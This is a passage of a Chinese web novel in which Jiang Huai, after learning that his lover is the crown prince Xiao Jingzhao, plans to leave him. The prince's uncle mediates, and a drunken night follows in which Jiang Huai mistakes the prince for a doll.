“淮儿……”看到姜淮的眼神越来越冷静, 萧靖昭更加慌乱, 紧紧攥住姜淮的手,低声唤道。
“我们都先冷静冷静吧。”姜淮抽出被握住的右手, 揉了揉有些发胀的眉心,声音有些低沉。
“……好”萧靖昭手心空了,心里也跟着一空,尽管他不想就这么离开,可姜淮的态度很明显了,他继续待下去只会让姜淮反感,只能低声应道。
萧靖昭走得很慢,只是院落就这么大,再怎么磨蹭,还是从姜淮的视野中消失了,只能隐隐听到一些脚步声。
脚步声渐渐远去,直到彻底消失,姜淮叹了口气,又听到一道极轻的脚步声靠近,是下人送茶水过来。
姜淮灌了一口茶,挥挥手示意下人离开,他想一个人冷静一会。
下人安静地退下去,脚步声很轻,才走到院中就听不到脚步声了。
“等会……”姜淮脑海中电光石火闪出一个念头,突然出声,下人脚步顿住,等着姜淮的吩咐。
姜淮起身走了几步,问道:“你听到我的脚步声了吗?”
“小的听到的。”下人不明所以,却还是老实回答。
“这样呢?”姜淮离远了一点,又走了几步。
下人摇摇头:“这样听不到了。”
“你到这里来。”姜淮示意下人到屋内站着,然后一步步地朝外走去,走几步就要问问对方能不能听到脚步声。
这么一番试验下来,结果就是,除非特意让脚步声加重,不然脚步声在院落的时候就小到听不到了,而想出了院子都能听到,除了要求听的人耳力不错,还要求走路的人特意踩出脚步声。
姜淮想起之前在安远府,他对萧靖昭的脚步声熟悉也是因为总是远远地就能听到声音,才越来越熟悉,可萧靖昭练过武,脚步按理来说不会沉,声音会这么明显,显然是因为特意踩出了声音。
姜淮记得最开始的时候,萧靖昭似乎不是这样的,是因为什么发生的变化呢?
“你走路都没有声音的,有点吓人。”
“我小时候喜欢看闲书,但是爷爷……咳咳,就是祖父不太爱我看,我就偷偷地看,然后听到他来的脚步声,我就赶紧将书藏起来,好几次差点就被发现了。”
“想祖父吗?挺想的,就是没有机会……哦对,等之后还是有机会见面。”
似乎是从那之后,姜淮才对萧靖昭的脚步声越来越熟悉。
“公子?”下人等了一会,还没有等到姜淮接下来的指令,犹豫了好一会才出声。
“下去吧。”姜淮闭眼。
“是。”下人应声,安静地退下。
人的表情会骗人,语言也会骗人,但是这种特意养出来的习惯,还是对萧靖昭完全没有好处的习惯,让姜淮很难相信这里面没有感情在,因为就算是想要骗他,也不必在这种细节上改变自己。
这种改变会让萧靖昭更难受,可效果,要不是姜淮刚刚意识到这点,可能一辈子都发现不了。
姜淮紧紧攥着拳头,心头没来由的涌出一股火气,没忍住踹了几下墙。
“怎么会是太子,怎么会是太子?”
姜淮眉头紧皱,眼眶却有点发酸,狠狠擦了下眼睛,明明还没落泪,眼睛已经有点泛红。
……
一大早,卫轩入宫议事,就看到有人冲他使眼色。
卫轩不明所以,一抬头看到萧靖昭,浑身汗毛倒竖,从所未有的危机感充盈心头,第六感在向他发出危机预警。
而待了一阵后,卫轩肯定自己的感觉没有错,其实萧靖昭的表情并没有很可怕,和往日一样异常的淡漠,可哪怕表情一样,身上的气势也是会变的。
卫轩记得,昨日见过姜淮回宫,加上期待姜淮过来,萧靖昭身上透着一股欢快期待,哪怕表情没有什么变化,可明眼人就能看出萧靖昭心情很好。
可现在,萧靖昭身上的寒意像是能冻死人似的,用词也极为犀利冷酷,虽然处理朝政的速度更快了,可让人情愿不要这种速度。
而且卫轩可记得萧靖昭昨日应该是去见姜淮了,按理说应该更高兴些,怎么会是这个样子?
除非,他们见面出事了!
一些朝政商讨完毕,其他官员都离开了,卫轩还没起身就先被萧靖昭喊住,其他官员以往都会羡慕卫轩被萧靖昭看重,可现在,感受到宫内的气氛,一些官员反而庆幸他们不用留下,不然再待下去真是要折寿了。
卫轩知道自己避不开了,如果是姜淮和萧靖昭的感情.事宜,萧靖昭也没有办法和谁说了。
只是卫轩并不太想掺和这事,感情太飘忽了,而且以萧靖昭如今的身份,他也不适合说什么,毕竟多说多错,当年皇帝的态度是如何,可后来卫家又是什么下场,卫轩能清晰感受到皇权的冰冷。
而今萧靖昭看似没什么变化,可之后会怎么样,谁也说不清。
“舅舅。”萧靖昭声音有些轻,还带着些脆弱。
卫轩一听这声称呼,心也没法硬起来了,尽管来京后他就告诫自己,萧靖昭恢复身份后,就不能像之前那般相处了,这些天也尽量恪守这个原则,可这么多年的感情,尤其是这五年的感情不是假的。
“淮儿知道我的身份了。”
卫轩猛地抬头,怎么回事,昨天不是还瞒得好好的,怎么会这么快就暴露。
尽管在萧靖昭开口前,卫轩已经有了一点猜测,毕竟姜淮和萧靖昭的感情很好,要说两人之间的感情隐患,身份是最大的隐患,可他也没想到,这个隐患这么快就爆发了。
“昨日回府,遇上了萧泽阳,被他喊破了身份。”萧靖昭解释了一句。
“那姜淮他……”卫轩犹豫道,虽然看萧靖昭这个态度就知道姜淮的反应肯定很大,可具体有多大还是要分析一下,万一只是因为萧靖昭太在意姜淮,姜淮的一点反映他也接受不了呢?
“他……”萧靖昭至今都不敢去回忆姜淮的一举一动,他以为自己会记不太清,可卫轩一问,姜淮乍听消息时的错愕,茫然,震惊,看向他的陌生,排斥,以及最后让他回去冷静的厌倦都在眼前浮现。
萧靖昭猛地咳嗽了一下,口中涌出些许腥甜。
对于武将来说,血腥气是无比熟悉的味道,卫轩没想到只是问一下就让萧靖昭做出这般反应,头皮发麻,准备去喊太医。
“舅舅,没事。”萧靖昭拦住了卫轩,他的身体他自己清楚,五年前被皇帝谋害那次就伤到了,而这五年里,虽然一边调养,可一边又要上战场,多少会留下一些暗伤,尤其是前段时间忙完了战事又要处理朝政,多少有些累着了,身体有点不适是很正常的。
现在也只不过是因为姜淮的事,让他有些压不住了。
“这都吐血还没事?”卫轩不理解。
“这么大张旗鼓地喊太医,万一被淮儿知道,他不知道具体情况,恐怕会担心。”萧靖昭说道,“更何况,还可能被他误会我在使苦肉计。”
太巧了,昨天还没什么事,今天就吐血喊太医,换成萧靖昭也会疑心怎么这么巧,尤其是他还有前科在。
“待会把平安脉的时候再看看。”萧靖昭补充道。
卫轩沉默,心情很是复杂,每次他以为自己已经足够了解萧靖昭对姜淮的感情,萧靖昭的行动就会超出他的预料。
看到萧靖昭这样,卫轩又忍不住想起自己之前的想法,每次他想把萧靖昭当成皇帝看待,可萧靖昭的行动就让他改变想法。
“你若是想和姜淮在一起,一定要好好保重身体,自古以来,皇帝钟爱谁,若对方一直不曾失宠,皇帝在时对方便平安喜乐,可若皇帝不在……”卫轩也只能这样劝说一下,萧靖昭的身体好,他和姜淮的感情才有保障啊。
“舅舅放心,我知晓。”萧靖昭应声。
第69章 第 69 章
萧靖昭将他和姜淮之前的事一五一十地说了出来, 卫轩越听心越沉。
他对姜淮也很了解,自然清楚姜淮这个表态意味着什么,姜淮不想维持这段感情了。
如果萧靖昭不是他外甥, 卫轩会非常支持姜淮的这个选择,毕竟伴君如伴虎,哪怕如今感情深, 可未来如何不得而知, 而和帝王越是亲近,若是感情转淡, 此时的情深在后面可能就成了错误。
除非就指着这条捷径来争名夺利, 不然还是远离比较安全, 而姜淮本身能力并不差, 哪怕是踏足官场也不需要走这条捷径, 走这条路反而会污了他的名声。
可萧靖昭偏偏是他外甥,卫轩没有办法完全站在姜淮那一边。
“你想怎么做?”卫轩全都听完了, 犹豫片刻问道。
萧靖昭沉默, 他也不知道该做什么。
明明之前想着若是姜淮知道了他的身份,若是想要离开, 他绝对不会放姜淮离开的,哪怕让姜淮厌恶他, 他也不能让姜淮离开。
可真到了这一天,他反而不敢这么做,现如今姜淮还只是厌倦,若他真这么做了, 姜淮到时候怕是要恨他吧。
只是想象姜淮看向他的眼神充满了厌恶仇恨, 萧靖昭就有些呼吸困难,只是这般的想象就让他承受不了, 萧靖昭不敢想象这一幕成真,他会是什么反应。
看萧靖昭半天没有出声,卫轩越发能感觉到萧靖昭对姜淮地在意,不是这么在意,怎么会对一点行动都如此犹豫。
这种在意让卫轩不自觉想起了卫姝,当年卫姝也是对皇帝如此上心,才不管不顾都要嫁给他,而后……
现在萧靖昭也走上了和卫姝相同的路,只是卫姝哪怕当了皇后,却也挡不住皇帝有新人,积郁成疾。可萧靖昭是皇帝,若是这段感情成不了,萧靖昭非要勉强,姜淮或许没有办法在其他地方伤害萧靖昭,可感情上的伤害却足够刺痛萧靖昭了。
卫轩越想越头大,早知道会这样,他当初在发现两人产生感情的时候,果断一些,不管是让两人就此松手,还是在姜淮面前戳穿萧靖昭的身份,虽说危险了些,但也好过现在这样。
那时候感情还不算深,哪怕分开,对萧靖昭的影响也不会太大,可现在,卫轩瞥了眼沉默不语的萧靖昭,清楚知道这段感情要真这么断了,怕是会成为萧靖昭一辈子的心魔,至于会引发什么恶果,卫轩都不敢想象。
卫轩绞尽脑汁地想主意,最终实在是没辙,只能说:“这样吧,我先去找姜淮,问问他介意的到底是什么,看看能不能对症下药。”
“舅舅,这次拜托你了。”萧靖昭如枯水潭般平静的眼睛终于有了一丝波动,紧盯着卫轩。
卫轩叹气,他也好想问问智囊团,可问题是,这是萧靖昭和姜淮的事,他知道也就罢了,若是透露给其他人,情况反而就更复杂了。
卫轩想让萧靖昭别抱太大的期待,他也就是去问问,姜淮能不能实话实说还是一回事,萧靖昭知道问题后能不能解决又是一回事,这八字还没一撇,萧靖昭对他就这么期待,让他压力巨大。
只是对上萧靖昭隐含忐忑的目光,卫轩只能点点头。
……
在萧靖昭那边开口,哪怕尴尬,可卫轩还是登门拜访,甚至为了避免姜淮避而不见,卫轩还特意让人确定姜淮在家,才找上门去。
毕竟萧靖昭的身份暴露了,那他现在的身份就不单纯的只是姜淮的好友,还是萧靖昭的舅舅,他这时候过去,明显情况不对。
而一进宅邸,卫轩就发现了不对劲,姜淮似乎是准备要搬家了,这可才刚刚搬进来,这就要搬走了吗?
“卫哥?”听到管家通传卫轩来了,姜淮有些惊讶。
“这行李是……是还没有收拾好吗?”卫轩指着下人收拾出来的行李,想要问姜淮是不是要搬走,可话到嘴边,又觉得不能这么说,立马改口。
“不是,是我打算搬走。”姜淮随口回道。
“是这宅邸有哪处不合你心意吗?”卫轩接话,“若是不喜欢,我还知道几处收拾好的宅子,你可以……”
“卫哥,你一开始就知道魏西的身份吧。”姜淮打断他的话,沉声问道。
卫轩无言以对。
“我和他之间的关系,你之前应该也看出来了。”姜淮说,“所以我为什么要搬走,卫哥你应该清楚原因。”
“何至于此呢?你们之间的感情如此之深,就为了身份……”卫轩艰难开口。
姜淮不自觉攥紧拳头,越是情深,就越是不能接受对方的隐瞒,尤其是感情建立在一种虚假的身份上,会让他感觉感情也是一场虚幻。
不过姜淮也清楚,他不说清楚,卫轩怕是会不停地过来劝说他。
况且,卫轩能来,姜淮清楚,肯定不只是卫轩一个人的想法,后面怕还有萧靖昭的示意,姜淮还是想说清楚原因,两人好聚好散。
就算萧靖昭在他面前表现的性格有假的,可原文中他看过的描述不会有假,多少能彰显出一点萧靖昭的性格,而对方能留下暴君的名号,脾性肯定不会太好,闹得太厉害,最后也难看。
毕竟之前五年里,他们从来没有红过脸,往昔回忆越是甜,越是不希望以丑陋的模样收场,这样回忆起来,依旧是一场美好的恋情。
意识到自己在想什么,姜淮愣了下,他都知道萧靖昭在原本的小说里是个什么形象,却只是担心闹到最后难堪,却不曾担心过自己的性命安危,脑子里还是坚信萧靖昭不会伤害他。
这算什么?
姜淮强自压下心中的波动,告知卫轩他的一些考虑,姜淮说得很是诚挚,他希望卫轩能够理解,可以感受他的真实想法,而传达给萧靖昭的时候,也能让对方了解他的心思。
“卫哥,就这样好聚好散吧。”姜淮一番话说完,都感觉心底的压抑没有那么多了,甚至有种身心松快的感觉,像是解决了一桩大事,透露出丝丝松快。
卫轩头大如斗,来之前他就从萧靖昭的叙述中了解到了点姜淮的心思,可他没想到,姜淮开解自己居然开解得这么快,哪怕心中有对萧靖昭的感情,可居然能控制住,甚至想放下了。
如果他不是来当说客的,怕是都要钦佩姜淮的这种心态,更别说姜淮还说得如此透彻,让人觉得这是一场带着无法弥补的遗憾的爱情。
若这是个故事,想必这就是结局了,可卫轩太清楚萧靖昭的性格,萧靖昭不可能接受这个结局,如果真就暂时以这种状态收尾,那后面必然有一场巨变。
“除了这些,你还有什么介意的?”卫轩不肯死心,继续问道。
姜淮现在提出的问题,他暂时想不到解决办法,可若姜淮还有别的介意的问题,说不定可以拖延一二,在姜淮的心墙上打个洞。
姜淮不知道卫轩的心思,只当他是不死心,皱眉想了想道:“更何况萧靖昭如今是太子,之后便是皇帝,若是和我在一起,我绝不会允许他有除我之外的任何人,不论男女,也不会接受他有子嗣在,这样,怕是更加不合适吧。”
毕竟他们要是普通人,哪怕在一起没有子嗣,顶天就是家中长辈絮叨,影响也不大,可萧靖昭那是真有皇位要传下去的,若是不娶妃嫔诞下子嗣,其他人难道会坐视不管。
卫轩一阵牙痛,姜淮的这个问题让也不知道怎么回答了,自古以来的皇帝,哪怕好男风,可也没有说不留子嗣的。
卫轩感觉他得到的两个问题,哪个问题都不好解决,而且就看姜淮这个态度,后面这个问题也是没得商量的。
可萧靖昭会是什么态度呢?
卫轩想到萧靖昭面对姜淮的一举一动,忽然感觉这个问题可能不是问题。
因为卫轩想起一桩事,以往在宫中,萧靖昭就不近女色,当然,男色也是没有的,而到安远府,每日除了军中,府衙,议事,上战场,基本就是和姜淮在一起,女色更不可能存在了。
以姜淮现在的这个态度,萧靖昭要是近女色了,他们的感情也不可能发展到这一步,所以弱水三千只取一瓢这件事放在其他皇帝身上会显得很离谱,但是萧靖昭为了姜淮做的离谱行为太多了,真只要姜淮,彻底摒弃其他人,也不是没有这个可能。
所以他是现在先回去和萧靖昭说,得到确定的回答再来和姜淮说,还是现在就先说出他的猜测。
身为人臣,并不适合在没有得到君主示意的前提下开口,还是这种要紧的事,可萧靖昭不光是君主,还是他外甥,卫轩犹豫了下,还是开口:“不论是不亲近其他人,或是不留下子嗣,他不一定就做不到。”
“你若是愿意等等,我即刻进宫问他,你就先别搬走了。”卫轩说道,萧靖昭此时的精神状态依旧不太平稳,姜淮搬走虽然不一定会刺激他做出什么行动,可还是不刺激最好。
卫轩有些忐忑,不知道姜淮能不能接受他的这个提议。
姜淮心情复杂,理智告诉他后面这个理由只是借口,不管卫轩怎么说,他也不该动摇,毕竟他和萧靖昭的问题并不是这个,可口中却还是说出了一个好。
得到了姜淮的准确回复,卫轩大喜过望,赶紧让其他人先别收拾行李了,然后匆匆离去。
第70章 第 70 章
“他, 说了什么?”得知卫轩匆匆进宫,萧靖昭顿时紧张起来。
卫轩没说话,直接将一个册子递给萧靖昭, 这上面写着他和姜淮的全部对话,以及姜淮的表情变化,行动, 这是卫轩出了姜府后赶紧写出来的, 就怕自己后面忘记了一些细节。
卫轩觉得如果他只是将对话复述一遍,萧靖昭说不定不能完全领会姜淮的意思, 毕竟他对姜淮的了解肯定不如萧靖昭, 要是引得萧靖昭产生误会, 那麻烦就大了。
萧靖昭翻开册子看了看, 就明白了卫轩的用意, 沉默半晌道了声谢。
卫轩有些受宠若惊,看萧靖昭的注意力全在小册子上, 也不打扰他了, 直接退下。
这事他也只能参与到这了,再之后, 除非说还有他能帮上忙的地方,不然就只需要在一旁旁观就行。
卫轩的文采并不算多好, 但有一个特点,写得很真实,哪怕只是文字,却让萧靖昭像是亲眼看到姜淮是如何表态的。
……
被卫轩拦着收拾行李, 虽然姜淮可以不在意卫轩的要求, 直接收拾好走人,可不知道是出于什么心理, 姜淮也选择了暂缓离去的意愿。
只不过提前收拾好的行李也没有再放回原位,而是收拾成什么样,就先暂时放着,最后是留是走都方便。
跟在姜淮身边的人还不知道萧靖昭的身份,但是也能看出两人是闹了矛盾,不然怎么会才搬过来就走了,以至于没有了搬家弄出的动静,姜府上下都格外安静。
傍晚,后厨做好饭菜送上来。
姜淮看着送上来的饭菜,不自觉皱了皱眉,这饭菜太多了,他一个人根本吃不完,除非是两个……
姜淮僵住,后厨备菜一般是按照习惯来备的,之所以会送上这么多菜,或许是觉得萧靖昭还会来用饭,毕竟他们哪怕闹了矛盾,可萧靖昭也不是不可能再回来用饭。
是他没有提前叮嘱一声。
姜淮揉了揉眉心,沉默地端起碗筷吃饭。
姜淮自觉已经调整好了心情,这一个白天都没有怎么好好吃,明明饭点前还觉得饥饿难耐,可等一个人真的吃上饭菜,姜淮没有吃上几口就感觉饱了,再扫一眼桌上的饭菜,看着就像是没有动过似的。
“吃饭还是要人多才有胃口啊!”姜淮自嘲了一句。
只是人是铁,饭是钢,他昨天因为萧靖昭的事就没有吃好,今天的两顿饭吃得也不太好,晚上这顿要是再不好好吃,姜淮怀疑晚上就会有反应了。
感情受伤已经对心灵造成了重大打击,要是再导致身体也受到伤害,姜淮觉得自己这样也太矫情了点,也是对自己身体的不负责。
一口气吃不下太多,那就拉长时间,吃地再慢也能吃进足够的分量,唯一的问题就是这天冷了,菜也冷得快。
为了避免吃冷菜导致身体更不舒服,姜淮干脆撤了这一桌的饭菜,让后厨准备好锅炉,各种切好的食材,直接吃火锅。
一顿火锅吃得酣畅淋漓,尽管只有一个人吃,但是食材准备的齐全,又都是姜淮最喜欢的锅底和蘸料,姜淮渐渐也将心事抛却,完全沉浸在美食的美好之中。
姜淮边吃边想,看来他刚才食欲不振,可能不只是因为受到情绪的波动影响,也可能是不太乐意吃普通饭菜了,现在吃火锅,这不是吃得很起劲。
吃火锅自然是要吃辣的,不过姜淮哪怕吃了这么久的辣,可身体依旧受不住太多的辣,因此还是需要喝点别的解辣。
而姜淮解辣的工具就是甜酒酿,这些甜酒酿还是在路上刚酿好的,喝起来甜滋滋的,姜淮很是喜欢,只是这放了几天,甜味依旧充足,只是酒劲也在。
多喝了几碗后,姜淮就发觉了不妙,这次的甜酒似乎有点过头了。
好在他也吃得差不多了,姜淮让人收拾了吃火锅的残局,径直回屋内休息。
屋内的摆设依旧,并没有收拾起来,因为这些东西并不是姜淮带来的行李,只不过这些摆设和在安远府时,姜淮卧房内的摆设一样,姜淮昨日刚进来时一看,就感觉萧靖昭太有心了。
只是知道萧靖昭的身份后,这份心意在姜淮眼中就有些难以言喻的味道了。
不过也因为布置太熟悉了,哪怕姜淮有些醉酒迷糊走进来,依旧毫无阻碍,顺畅的就在床榻边坐下,虽然有些醉了,但是这刚刚吃完饭,姜淮还不想直接躺下休息。
明明不是很冷的天气,却早早地烧了火墙,以至于屋内都有些闷热。
姜淮不知道坐了多久,终于坐得有些困了,准备去睡一会儿,只是躺下后盖上被子总觉得哪里不对劲,过了好一会才反应过来,迷茫地眨了眨眼睛,他身上还穿着厚实的外袍呢,这么直接躺下怎么可能舒服。
姜淮烦躁地揪着领口往外扒拉,想要解扣子脱衣服,只是扒拉了好一会,姜淮感觉不对劲,这扣子好像没有摸到,莫非他穿的是有拉链的棉衣。
刚进屋的时候姜淮醉的还不是那么厉害,这么坐着缓了一会后,加上屋内的热气一熏,人是彻底醉的脑子发蒙了,甚至都忘了穿越的事。
哪怕穿越了快五年,可这五年的时光还是抵不过现代的二十年时光,而醉后,姜淮下意识的就以为自己还在现代。
“这什么破衣服,这么难脱。”姜淮小声嘀咕着,一边费力地撕扯,只是靠着姜淮手上的力气,想要将外袍撕扯开,难度还是很高的,姜淮折腾了一番,除了折腾出一身汗,让身上更加难受之外,硬是没能将外袍脱下。
就在姜淮焦躁不安之际,一只手轻巧地将他的外衣解开,姜淮一用力就将外袍扒拉了下来,因为太过轻巧,以至于脱掉后,姜淮还没有发现,过了好一会才意识到衣服脱掉了。
姜淮完全忽视了那只帮忙的手,或者在他的意识中,那只手就是他自己的手,至于人怎么会有三只手,他不管。
有一只手帮忙,姜淮接下来的行动就顺畅多了,很快就将衣服脱到只剩下里衣了,哪怕屋内烧了火墙,可一下子脱了这么多衣服,姜淮还是有点冷,赶紧扒拉着被子盖住身体。
不过,他的手好像还放在外面呢?
这么冷的天气,放外面会着凉的,万一感冒发烧,又得吃药打针。
一想到吃药的苦和打针的痛,姜淮皱了皱眉,想要让手回到被子里暖和一下,只是这只手似乎不太听话,不管他脑子怎么想着缩回被窝,依旧在外面不肯回去。
“听话。”姜淮一把拽住手,准备塞进被窝,只是这手一点也不老实,还想从他手里挣脱出去,忍不住嘟囔道。
而听到他这话,手顿时不动了,姜淮这才满意的拍了拍手,只不过这一拽,姜淮才注意到,这只手连接的还有一个人。
姜淮迷迷糊糊的睁大眼睛,看清楚了来人的长相,古典禁欲系大美人,眉眼轻垂,自带一股忧郁气质,一下击中了姜淮的心。
姜淮在大学看过不少的古装coser,电视电影也看过一些古装人物,但是没有谁的气质比眼前人更加的复古,活脱脱就是从古画中走出来的美人。
萧靖昭并不是有意要跟着姜淮进屋,甚至帮姜淮脱衣服的。
他看完卫轩的记录后,前者他暂时也不知道要如何解决,但是姜淮后面的顾虑,他可以给出一个肯定的回答来,而要让卫轩去说的话,萧靖昭觉得不够诚.心,所以就亲自来见姜淮。
只是他一来就发现姜淮正在用饭,而昨天因为他,姜淮食不下咽的表现萧靖昭都看在眼里,自然也不想让姜淮又因为他而吃不下,就在外面等着。
只是这一等,姜淮也没有好好吃饭,还开始吃火锅,耽搁的时间就更长了。
而等姜淮吃完火锅,根本没给他开口的机会,就直接回房休息了,萧靖昭想着要不然明天再来,但是又觉得等明天更加显得没有诚意,就跟了过来。
姜淮喝醉了的事,如果不是凑近了看,根本没有人发现,等萧靖昭准备和姜淮开诚布公地谈一谈,看到了姜淮脱衣服都不利索的动作,这才发现姜淮是喝醉了。
这下,萧靖昭也知道他今天大概是没有机会开口,帮姜淮脱完衣服,萧靖昭看了一会姜淮就准备走了,哪怕他很想留下来,可他也知道这么做只会让姜淮更加反感他,甚至他还要希望姜淮酒醒之后没有发现这事,不然姜淮怕是更会觉得他烦人。
只是这么多的考虑,在姜淮抓住他,让他听话后,萧靖昭就再也反抗不了,只能乖乖地被姜淮拽着,在床榻边坐下。
对上姜淮看向他惊艳的目光,萧靖昭忽地想起他先前就意识到的一件事,姜淮是真的很喜欢他的这张脸。
萧靖昭有了一瞬间的心动,姜淮喝醉了,如果他可以趁着这个机会诱惑姜淮,那……
只是很快,萧靖昭就将这丝心动给彻底压住了,他不可能这么做,以姜淮的性格,如果他真的这么做了,才是将他们的感情彻底推向深渊。
70-77
第71章 第 71 章
萧靖昭不敢有什么动作, 姜淮反而先有了行动。
姜淮摸了摸拽住的手,只是这手看着是挺好看的,可摸起来却有点糙, 姜淮忍不住嘟囔:“好粗糙啊,商家是不是偷工减料了。”
姜淮已经迷糊地以为眼前的人是自己买的bjd娃娃,至于说一般的娃娃怎么会和正常人一般大, 脑子已经想不到这点了。
好在姜淮很快就发现, 虽然手心摸着粗糙,可手背, 手臂的位置摸起来还是挺丝滑, 看来商家只是在一些看不到的地方偷工减料, 一眼能看到的地方还是老实打磨过。
姜淮只当自己是在摸娃娃, 却让萧靖昭身体僵硬, 一动也不敢动,想抽身离开, 却又犹豫不决。
买来的娃娃自然不可能只摸摸手, 毕竟手再好看,可买娃娃时, 脸才是最看重的部位。
姜淮仰躺着看向萧靖昭的脸,松开了握着的手, 萧靖昭不用再纠结了,心底却不自觉多了一丝失落,只是下一刻,下巴处传来的力道让萧靖昭下意识后仰。
“别动。”
一只手捏住下巴似乎不太稳当, 姜淮原本是半躺着扬起手, 这下直接坐了起来,一手捏住下巴, 一手扶着脸颊。
醉意朦胧,姜淮都有些看不清眼前人的脸,为了看清自己喜欢的脸,姜淮凑得极近,近到两人呼吸都碰撞在一块。
甜酒酿的酒气不重,甚至带着淡淡的甜香气。
萧靖昭浑身僵硬,刚才的紧张和此时完全不能相提并论,他之前和姜淮再怎么亲密,也没有亲近到如此程度。
在姜淮抚摸眉眼时,萧靖昭终于决定要挣脱姜淮的手,不能再这么下去,姜淮喝醉了,可他没有醉,他不该继续这样纵容下去。
只是还没等萧靖昭行动,姜淮的手已经从眉眼落到了嘴唇上,温软的唇.瓣和柔软的指腹相比,姜淮感觉嘴唇似乎更软一些,忍不住多摸了下,生出一股亲吻的欲.望。
只是就算是亲娃娃的嘴唇,姜淮也有点不太好意思,犹豫了两秒,挪开视线对着脸颊就是重重亲了一下。
“吧唧”声在安静的卧房内极为响亮,萧靖昭大脑一片空白,连刚才要怎么挣开姜淮的动作都给忘到了一边。
姜淮这一天都没有什么精神,尤其是喝了点酒,折腾了这么一番,亲完一口,困意也跟着上来了,打了个哈欠,松开手里的娃娃重新朝床上倒去。
只不过他倒的位置不太好,太靠近床头,要真倒了个踏实,那头怕就结结实实地撞上木板了,萧靖昭眼疾手快的捞住了姜淮。
姜淮压根不知道发生了什么事,只当是自己倒下的时候,把娃娃也带了下来,可人躺到床上就不想再爬起来放娃娃了,姜淮干脆揽住娃娃一起睡,反正这娃娃摸起来还提供暖和,不冷硬,给他当个抱枕,抱着还挺舒服的。
姜淮这下是彻底的睡熟了,可萧靖昭却睡不着,想要挣脱,可姜淮将他当抱枕抱着,搂得非常紧,除非萧靖昭用大力,不然根本挣脱不了,可真用力,萧靖昭又舍不得,只能任由姜淮抱着。
“罢了,这或许是我们最后一晚这样睡了,以后……”
萧靖昭顿住,他都不知道他和姜淮还能不能有以后了,现在只希望姜淮醒了后要么不记得这晚的事,不然他担心姜淮会生气,毕竟他这算是无故闯入姜淮的卧房。
萧靖昭躺在一边充当着姜淮的抱枕,时不时地还要给姜淮拉住被子,或许是屋内烧了火墙热,又或者是有他在一旁取暖,姜淮睡着睡着就不耐烦地踢被子。
时间一点点地过去,天冷了,日头出来的也晚了些,不过等到天光渐亮,姜淮终于从熟睡中醒来了。
而在发现姜淮有清醒迹象时,萧靖昭犹豫再三,还是选择先离开,不管姜淮记不记得,他留下来总归是不好,姜淮不记得还好,若是记得,又看到他在眼前,怕是会更加烦心。
姜淮眼睛还没有睁开,先揉了揉眉心,甜酒酿后劲有点大,但是醉酒的感觉并不算特别难受,只是姜淮喝醉的次数非常少,乍然来点醉酒的不适就格外明显。
下次哪怕是喝甜酒酿也得注意啊!
姜淮心底提醒自己,摸到身上厚实的被褥,再感受了下身体,除了醉酒的不适,并没有着凉的迹象,长出一口气,喝醉都还不怕,就怕人喝醉之后出事,待在卧房内,别的危险他不太担心,就担心着凉。
虽然一般人都会安排两个小厮或者侍女在一旁照顾,可姜淮睡觉的时候不喜欢有人陪在一边,哪怕是在门外都不习惯,有种被人守着盯着的不适感,白天身边有人陪着就算了,那是有事,可晚上,除非必要,姜淮屋子里是不留人的。
可现在,姜淮觉得是不是在醉酒的时候还是要安排点人,不然确实容易出事。
不过很快姜淮就想到,自己喝醉了这一次,绝对没有下次,还是先别安排了。
敲了敲脑袋,姜淮起身,昨天睡得太早了,他又睡得太熟,现在就算精神还没有完全恢复,可也不想赖在床上不起,毕竟以前赖床是有手机玩,现在躺在床上看闲书打发时间,一来光线不好,容易坏眼睛,二来躺着看还不如坐起来看。
只是这一起床,姜淮有些混沌的脑子逐渐清醒过来,也想起自己醉酒后的状况。
前面还好,脱衣服虽然看着蠢,但也符合一个酒鬼的行动,可后面……
看着醉酒的自己做的事,姜淮僵住,要不是眼睛还在眨动,看着就像是个假人。
萧靖昭偷偷来过,这个姜淮都能理解,对方可能是太晚来,又不想惊动其他人,毕竟这是自己和他之间的事,直接找他也正常。
但是,他把萧靖昭当成娃娃,各种把玩,甚至还亲了一口,这个行动完全超出了姜淮的预期,就算喝醉了,也不能这么离谱吧。
更别说他后面直接将萧靖昭当成了抱枕,虽然不知道自己睡着后抱了多久,可……
姜淮忽然反应过来,看向床榻边的被褥,似乎是被人躺了许久,所以还有一点痕迹留下,而再摸一下,带着一点余温,显然人没走多久,指不定就是他快醒,萧靖昭才走。
说不定,萧靖昭还在屋子里待着?
毕竟昨日萧靖昭过来,肯定不是单纯地为了看他,说不定是来回答他的问题,不然以姜淮对萧靖昭的了解,对方意识到他生气,也不会在他气头上过来。这事没有做完,萧靖昭难道就会这么离开吗?
而且对方陪了他那么久,会愿意就这么离开,不看看他醒来后的反应。
姜淮起身,在卧房转了一圈,卧房并不大,可以藏人的地方姜淮都看过了,但是并没有看到萧靖昭的身影。
姜淮皱眉,犹豫了下,起身到窗边,喊了几声魏西,萧靖昭没有喊出来,反而是将院子外的下人喊来了,姜淮让下人离开,重新回屋坐下。
“看来,我猜错了。”姜淮想到自己先前的猜测其实是基于他以为的萧靖昭,而不是现在的萧靖昭,不禁叹了口气。
不过这种猜错也让姜淮坚定了离开的想法,喜欢一个人不光是喜欢对方的皮相,还有对方的性格,和对方的相处模式,他熟悉的是伪装成魏西的萧靖昭,而不是真实的萧靖昭。
之前的犹豫也只是他很难彻底地区分这两个人,可现在,若是他连对方的心思都猜不到一点,那这喜欢真就完全是建立在虚假上的。
意识到这点后,姜淮感觉浑身的力气都消散了几分,尽管不困,还是下意识朝床上一趟,然后目光定住。
姜淮刚刚找了一圈,但是这个一圈并没有包括头顶,自然也就没有看房梁,因为在姜淮的潜意识里,天花板是不可能藏人的,但是他忘了这是古代,梁上君子的存在。
而现在一躺下,才看到了自己一直没有找到的那个人。
“我要是没有看到,你是不是就打算偷偷溜走?”姜淮盯着萧靖昭道,不知道是不是因为刚才的情绪起伏过大,姜淮此时的心情居然意外的平静。
萧靖昭轻巧地从房梁上跳下,他其实是准备离开的,只是又想知道姜淮醒后的态度,才又留了一会,之所以躲在梁上也是因为在这里最能看清楚姜淮的一举一动,而且他也很了解姜淮,姜淮找人一向是东西南北地找,可很少会抬头看上面。
而姜淮醒来后的行动让萧靖昭清楚姜淮是记得醉酒的事,虽然看着没有他想象中的生气,可他也不想留下来刺激姜淮,都准备走了,却没料到姜淮居然恰好往床上一趟,刚好就看到他了。
面对姜淮的追问,萧靖昭轻轻点了点头,他不想撒谎,也不敢撒谎,毕竟他现在和姜淮的隔阂就是因为他为了身份撒的谎言,尽管现在再老实,姜淮也不太在意,可他已经不想撒谎了。
第72章 第 72 章
“你留下来是不是想知道我记不记得醉酒后的事, 想看看我的反应?”姜淮直接问了出来。
